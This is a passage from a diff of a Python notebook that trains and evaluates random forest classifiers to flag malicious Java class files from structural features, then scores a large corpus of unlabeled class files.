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\nmZmZtagq18Q9Y5uZmVVatEXTWyNJ4yVdLelpSW2SnunonpJGSJokab6kRZKmSdqn7GdzTdzMzCqt\npIFtpwCvAA8A6wLtXlTSNsBdwBvAGcACYBwwWdIBETGljAKBg7iZmVlXbB0RcwEkPQoM7SDvacA6\nwC4RMTOfcwnwGHAOMLKsQrk53czMKq0toumtUS2Ad0bSmsBBwNRaAM/nLwYmAsMl7VbOkzmIm5lZ\nxZXRJ96EUcDqwN0Fx6bn/a49uUE9N6ebmVmlreTR6Zvm/fMFx2ppm5V1MwdxMzOrtJX8nnitr3xZ\nwbGlDXl6zEHczMwqbSVPu7ok7wcXHBvSkKfHHMTNzKzSutKc/uJzd/PSc0Xd2E17Ie+LmsxraUVN\n7d3iIG5mZpUWbW2d5tlo893ZaPPdl39+9M4J3b3dI6Sm9D0Lju2R9/d19+KNPDrdzMwqra0tmt66\nKyIWATcAYySNqqVLWgs4FpgdEff2+KEy18TNzKzSyhidLumLwPvyxw2B1SR9L3+eGxGX1WUfD4wF\nbpY0AVhImrFtE+DAHhemjoO4mZlVWkkD244G9q5dMu9PyvupwPIgHhFzJI0GTgeOJ703fj+wf0Tc\nWkZhahzEzcys0soI4hHR1OIlETELOLjHN+6E+8TNzMxalGviZmZWaW3R+ej0VuUgbmZmlbaSJ3tZ\nqRzEzcys0hzEzczMWtRKXgBlpXIQNzOzSmvrwoxtrcpB3MzMKs3N6WZmZi0qPDrdzMysNbkmbmZm\n1qIcxM3MzFqUJ3sxMzNrUa6Jm5mZtaio8CtmXgDFzMysRTmIm5lZpUVbNL0VkTRI0j9ImiXpdUnP\nSfqJpKEr+ZGWc3O6mZlVWonviU8AvgH8BvgxsB3wTWAnSR+LPpjf1UHczMwqra2EgW2SPkgK4NdE\nxN/VpT8DnA0cAlzR4xs1yc3pZmZWadHW1vRW4At5f1ZD+gXAEuCw3nyG9jiI24Dxl3kP9nURrIU8\nEkv6ughWkpL6xHcD3gZmrHDtiGXAw/n4SucgbgPGX155qK+LYC3EQbw6Itqa3gpsCsyLiDcLjj0P\nDJO00ruo3SduZmaVVtJkL0OBZe0cW1qXZ0EZN+sqB3EzM6u0kiZ7WQIMa+fYECBynpVKfTAi3nqZ\nJP9HNbNeERHq6zI0oyf/HtY/q6TJwL7A0MYmdUl3AttGxMbdLmg3uSZeQa32P5mZWW8p8d/DGcDH\ngd2BO2qJkoYAOwJTS7pPUzywzczMrHNXkprMv92QPg5YA/jVSi8Rbk43MzPrEklnA18HrgV+C3yA\nNAHMHRGxb5+UyUHczMysc5IGkWriXwK2BF4m1dB/ENE37yS6Od1sAJC0paQ2ST/sKK0/kXSxpOqu\nIWktJyLaIuKnETEyIoZExF9FxHf7KoCDg7hZr5I0JgfK+m2hpPskfTN/s1+Zipremm6Oy18ATpS0\nQwll6oibCs064NHpZivH5cD/AgI2A44kzcH8QeDLfVGgiJibR9a+3Y3TtwR+ADxNmnKyt/hNC7MO\nOIibrRwPRMTltQ+SzgMeB46V9P2IeKnxBElrR8TC3ixURLzRw0s4yJr1ITenm/WBHJzvyR+3ljRX\n0m2SdpI0WdJr1NVwJb1f0qWS/iRpmaRnJJ0paWjjtSV9RNKdkpZI+rOknwFrFeRrt09c0v+TNFXS\nq5IWS5ol6T8krSbpSODWnPWium6C2+rOl6SvSro/n79Q0q2SxhTca4ikH0t6IZd5uqT9mvuNmg1M\nromb9QFJArbNH+eR+n63AKYAVwFXkwOvpF1IQXM+cB5psYUdgW8CoyXtHRFv5by7A7cAfwFOz/tD\ngNEdFGeFfmdJpwDjgceAnwJ/ymX9LPB94HbgVOAE4L+A3+dTX6y7zKX5vlcDvyBNS3ko8DtJn42I\nG+ryXgF8GrgemJzvdQ3wTGPZzKxBRHjz5q2XNmAM0EYKfsOADYFRpDWI24A7c765+fPRBdd4GPgD\nsGZD+sH5nCPq0u4iLcawbV3aasD0nPcHdelbFqT9dU67BVi9C891eMGxz+RjxzSkrwLcCzxdl7Zf\nznthQ95P5/S3+/q/oTdv/Xlzc7rZyvEj4CVSbfUh0sC260iBuOYV4KL6kyRtD2xPqq2uIWlYbQPu\nJC24sF/OuxGwB3BdRDxVu0akeZ4ndLGch+b9+Oh+f/lhwELg+obyvgf4H2BLSbVWiNrz/7j+AhFx\nHTC7m/c3GzDcnG62cvwXqWk5gMXA7Ih4rSHPnIhobD7+QN7/KG9FNsr7rfN+VkGex7tYzveTasA9\nGXH+AWBtVmxerxfAxsBTpDK/TXHAfjyXx8za4SButnI8GRG3dpKnaMKI2ujvnwA3tXPeq90uVbGg\nZ33RIs1k9YUO8jzWg+ubWeYgbta/1WqobV34EvBM3n+g4Nh2XbzfE8D+pIFz93aQr6Mg/yTwCWB6\nRCzu5H5Pk7oDRpD6/esVPYeZ1XGfuFk/FhEPAo8CX5G0VeNxSatKek/O+yLptbVPS3p/XZ7VgX/o\n4i1r77KfKmm1DvItyvsNCo79kvRvy2lFJ0qqX3N5Ut7/U0Oeg4HhnZbWbIBzTdys//si6RWzmZIu\nJNVYh5JexfoMcDxwSc77j6R1je+UdA7vvGK2SlduFBH3SjoD+BfgAUlXkvq2twL+H7BbRCwgNYcv\nBL4maUm+z4sRcVtEXCPpIuDrknYGbiS9Rrc58GFgm7wRETdLugE4QtL6pFfMtiEtMPEo8KFu/L7M\nBgwHcbP+od3m6Yh4WNJOpHe3DwK+Qgqgz5BGs0+py3uPpI+T3hE/HngN+DVwPvBIlwoSMV7Sw6Ql\nF/+ZVKt+jhSMX895lko6BDiZNH3sYNKXh9vy8WPy5C9fyuVYnfS++QP5c73P5+scCnwcmEn6cnIo\naVpaM2uHlyI1MzNrUe4TNzMza1EO4mZmZi3KQdzMzKxFOYibmZm1KAdxMzOzFuUgbmZm1qIcxM3M\nzFqUg7iZmVmLchA3MzNrUQ7iZmZmLer/A3a6p/ruFinFAAAAAElFTkSuQmCC\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x1136e4b50>"
+       ]
+      }
+     ],
+     "prompt_number": 182
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# Now we can use scikit learn's cross validation to assess predictive performance.\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_all, X_all, y_all, cv=20)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.992 (+/- 0.029)\n"
+       ]
+      }
+     ],
+     "prompt_number": 183
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "# Now we can use scikit learn's cross validation to assess predictive performance.\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_er, X_er, y_er, cv=20)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.995 (+/- 0.017)\n"
+       ]
+      }
+     ],
+     "prompt_number": 184
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### Testing on a large corpus of files\n",
+      "\n",
+      "#### In the next couple steps, we train a classifier on all the data, and then test it on approximately 366K files.  This data is not labeled, but I would expect them all to be benign.  Maybe a few malicious ones, but a small number."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "clf_everything = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n",
+      "all_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n",
+      "                    'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n",
+      "                    'entropy', 'size', 'interface_count', 'major version', 'methods_count', 'minor version',\n",
+      "                    'method_name_digit_run_avg', 'method_name_digit_run_longest',\n",
+      "                    'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n",
+      "                    'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest',\n",
+      "                    'class_name_digit_run_avg', 'class_name_digit_run_longest',\n",
+      "                    'class_name_length', 'class_name_lowercase_run_avg',\n",
+      "                    'class_name_lowercase_run_longest', 'class_name_slash_count',\n",
+      "                    'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest'] \n",
+      "\n",
+      "X_all = df.as_matrix(all_features)\n",
+      "y_all = np.array(df['label'].tolist())\n",
+      "\n",
+      "clf_everything.fit(X_all, y_all)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 185,
+       "text": [
+        "RandomForestClassifier(bootstrap=True, compute_importances=None,\n",
+        "            criterion='gini', max_depth=None, max_features='auto',\n",
+        "            min_density=None, min_samples_leaf=1, min_samples_split=2,\n",
+        "            n_estimators=50, n_jobs=1, oob_score=False, random_state=None,\n",
+        "            verbose=0)"
+       ]
+      }
+     ],
+     "prompt_number": 185
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_big_pile_df = pd.read_hdf('data/java_clean_df.hd5', 'table')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stderr",
+       "text": [
+        "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:520: DeprecationWarning: openFile() is pending deprecation, use open_file() instead. You may use the pt2to3 tool to update your source code.\n",
+        "  self._handle = tables.openFile(self._path, self._mode, **kwargs)\n",
+        "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:1017: DeprecationWarning: getNode() is pending deprecation, use get_node() instead. You may use the pt2to3 tool to update your source code.\n",
+        "  return self._handle.getNode(self.root, key)\n"
+       ]
+      }
+     ],
+     "prompt_number": 190
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Again, one of the features of the classifier is the ability to give a probability that the feature set belongs to a specific class.  In the code below, we are asking the classifier to give us the probability the feature set (file) belongs to the malicious class.  We interpret these results as anything less the 0.5 is benign, 0.5 - 0.8 is a gray area, and 0.8 and above is malicious."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "clean = 0\n",
+      "gray = 0\n",
+      "bad = 0\n",
+      "for x in java_big_pile_df.as_matrix(all_features):\n",
+      "    try:\n",
+      "        score = clf_everything.predict_proba(x)[:,1][0]\n",
+      "        if score < 0.5:\n",
+      "            clean += 1\n",
+      "        elif score < 0.8:\n",
+      "            gray += 1\n",
+      "        else:\n",
+      "            bad += 1\n",
+      "    except:\n",
+      "        print \"Sad\"\n",
+      "        print x\n",
+      "        break\n",
+      "\n",
+      "print java_big_pile_df.shape\n",
+      "print clean\n",
+      "print gray\n",
+      "print bad"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface', 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count', 'entropy', 'size', 'interface_count', 'major version', 'methods_count', 'minor version', 'method_name_digit_run_avg', 'method_name_digit_run_longest', 'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest', 'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest', 'class_name_digit_run_avg', 'class_name_digit_run_longest', 'class_name_length', 'class_name_lowercase_run_avg', 'class_name_lowercase_run_longest', 'class_name_slash_count', 'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest']\n",
+        "(366341, 35)"
+       ]
+      },
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "\n",
+        "339771\n",
+        "10971\n",
+        "15599\n"
+       ]
+      }
+     ],
+     "prompt_number": 191
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Wow.  That looks mostly horrible.  We did only start with 500 files of each, maybe more training data will help.  We expand to about 2,000 malicious files and 2,000 benign files.  We randomly select 2000 files from the large corpus as label them as benign."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_more_bad_df = pd.read_hdf('data/java_malicious_df.hd5', 'table')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stderr",
+       "text": [
+        "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:520: DeprecationWarning: openFile() is pending deprecation, use open_file() instead. You may use the pt2to3 tool to update your source code.\n",
+        "  self._handle = tables.openFile(self._path, self._mode, **kwargs)\n",
+        "/opt/visiblerisk/lib/python2.7/site-packages/pandas/io/pytables.py:1017: DeprecationWarning: getNode() is pending deprecation, use get_node() instead. You may use the pt2to3 tool to update your source code.\n",
+        "  return self._handle.getNode(self.root, key)\n"
+       ]
+      }
+     ],
+     "prompt_number": 219
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_big_pile_df.head()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n",
+        "<table border=\"1\" class=\"dataframe\">\n",
+        "  <thead>\n",
+        "    <tr style=\"text-align: right;\">\n",
+        "      <th></th>\n",
+        "      <th>acc_abstract</th>\n",
+        "      <th>acc_annotation</th>\n",
+        "      <th>acc_enum</th>\n",
+        "      <th>acc_final</th>\n",
+        "      <th>acc_interface</th>\n",
+        "      <th>acc_public</th>\n",
+        "      <th>acc_super</th>\n",
+        "      <th>acc_synthetic</th>\n",
+        "      <th>ap_count</th>\n",
+        "      <th>attributes count</th>\n",
+        "      <th>class name</th>\n",
+        "      <th>class_name_digit_run_avg</th>\n",
+        "      <th>class_name_digit_run_longest</th>\n",
+        "      <th>class_name_length</th>\n",
+        "      <th>class_name_lowercase_run_avg</th>\n",
+        "      <th>class_name_lowercase_run_longest</th>\n",
+        "      <th>class_name_slash_count</th>\n",
+        "      <th>class_name_uppercase_run_avg</th>\n",
+        "      <th>class_name_uppercase_run_longest</th>\n",
+        "      <th>constant_pool_count</th>\n",
+        "      <th></th>\n",
+        "    </tr>\n",
+        "  </thead>\n",
+        "  <tbody>\n",
+        "    <tr>\n",
+        "      <th>0</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>     com/jidesoft/combobox/DateChooserPanel</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 38</td>\n",
+        "      <td> 5.333333</td>\n",
+        "      <td> 8</td>\n",
+        "      <td> 3</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1037</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>1</th>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 3</td>\n",
+        "      <td> 0</td>\n",
+        "      <td>             org/jmol/modelset/BondIterator</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 30</td>\n",
+        "      <td> 5.000000</td>\n",
+        "      <td> 8</td>\n",
+        "      <td> 3</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>   11</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>2</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> org/hibernate/engine/query/ParameterParser</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 42</td>\n",
+        "      <td> 6.000000</td>\n",
+        "      <td> 9</td>\n",
+        "      <td> 4</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  152</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>3</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>                 com/intellij/updater/Utils</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 26</td>\n",
+        "      <td> 5.500000</td>\n",
+        "      <td> 8</td>\n",
+        "      <td> 3</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  330</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>4</th>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 2</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>        com/kiwisoft/db/driver/SybaseDriver</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 0</td>\n",
+        "      <td> 35</td>\n",
+        "      <td> 4.833333</td>\n",
+        "      <td> 8</td>\n",
+        "      <td> 4</td>\n",
+        "      <td> 1</td>\n",
+        "      <td> 1</td>\n",
+        "      <td>  151</td>\n",
+        "      <td>...</td>\n",
+        "    </tr>\n",
+        "  </tbody>\n",
+        "</table>\n",
+        "<p>5 rows \u00d7 35 columns</p>\n",
+        "</div>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 220,
+       "text": [
+        "   acc_abstract  acc_annotation  acc_enum  acc_final  acc_interface  \\\n",
+        "0             0               0         0          0              0   \n",
+        "1             1               0         0          0              1   \n",
+        "2             0               0         0          0              0   \n",
+        "3             0               0         0          0              0   \n",
+        "4             0               0         0          0              0   \n",
+        "\n",
+        "   acc_public  acc_super  acc_synthetic  ap_count  attributes count  \\\n",
+        "0           1          1              0         2                 1   \n",
+        "1           1          0              0         3                 0   \n",
+        "2           1          1              0         2                 2   \n",
+        "3           1          1              0         2                 1   \n",
+        "4           1          1              0         2                 1   \n",
+        "\n",
+        "                                   class name  class_name_digit_run_avg  \\\n",
+        "0      com/jidesoft/combobox/DateChooserPanel                         0   \n",
+        "1              org/jmol/modelset/BondIterator                         0   \n",
+        "2  org/hibernate/engine/query/ParameterParser                         0   \n",
+        "3                  com/intellij/updater/Utils                         0   \n",
+        "4         com/kiwisoft/db/driver/SybaseDriver                         0   \n",
+        "\n",
+        "   class_name_digit_run_longest  class_name_length  \\\n",
+        "0                             0                 38   \n",
+        "1                             0                 30   \n",
+        "2                             0                 42   \n",
+        "3                             0                 26   \n",
+        "4                             0                 35   \n",
+        "\n",
+        "   class_name_lowercase_run_avg  class_name_lowercase_run_longest  \\\n",
+        "0                      5.333333                                 8   \n",
+        "1                      5.000000                                 8   \n",
+        "2                      6.000000                                 9   \n",
+        "3                      5.500000                                 8   \n",
+        "4                      4.833333                                 8   \n",
+        "\n",
+        "   class_name_slash_count  class_name_uppercase_run_avg  \\\n",
+        "0                       3                             1   \n",
+        "1                       3                             1   \n",
+        "2                       4                             1   \n",
+        "3                       3                             1   \n",
+        "4                       4                             1   \n",
+        "\n",
+        "   class_name_uppercase_run_longest  constant_pool_count      \n",
+        "0                                 1                 1037 ...  \n",
+        "1                                 1                   11 ...  \n",
+        "2                                 1                  152 ...  \n",
+        "3                                 1                  330 ...  \n",
+        "4                                 1                  151 ...  \n",
+        "\n",
+        "[5 rows x 35 columns]"
+       ]
+      }
+     ],
+     "prompt_number": 220
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_big_pile_df['class_name_length'].describe()"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 221,
+       "text": [
+        "count    366341.000000\n",
+        "mean         48.081181\n",
+        "std          19.812234\n",
+        "min           1.000000\n",
+        "25%          36.000000\n",
+        "50%          47.000000\n",
+        "75%          61.000000\n",
+        "max         161.000000\n",
+        "Name: class_name_length, dtype: float64"
+       ]
+      }
+     ],
+     "prompt_number": 221
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "Randomize list"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_random_df = java_big_pile_df.reindex(np.random.permutation(java_big_pile_df.index))\n",
+      "java_random_2k_df = java_random_df[0:2000]\n",
+      "java_random_the_rest_df = java_random_df[2000:]"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 239
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_random_2k_df['label'] = 'benign'"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 240
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_more_bad_df['label'] = 'malicious'"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 241
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "java_4k_df = pd.concat([java_more_bad_df, java_random_2k_df], ignore_index=True)\n",
+      "java_4k_df.fillna(0, inplace=True)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 242
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "clf_4k = sklearn.ensemble.RandomForestClassifier(n_estimators=75)\n",
+      "all_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n",
+      "                'acc_public', 'acc_super', 'acc_synthetic', 'ap_count',\n",
+      "                'class_name_digit_run_avg', 'class_name_digit_run_longest',\n",
+      "                'class_name_length', 'class_name_lowercase_run_avg',\n",
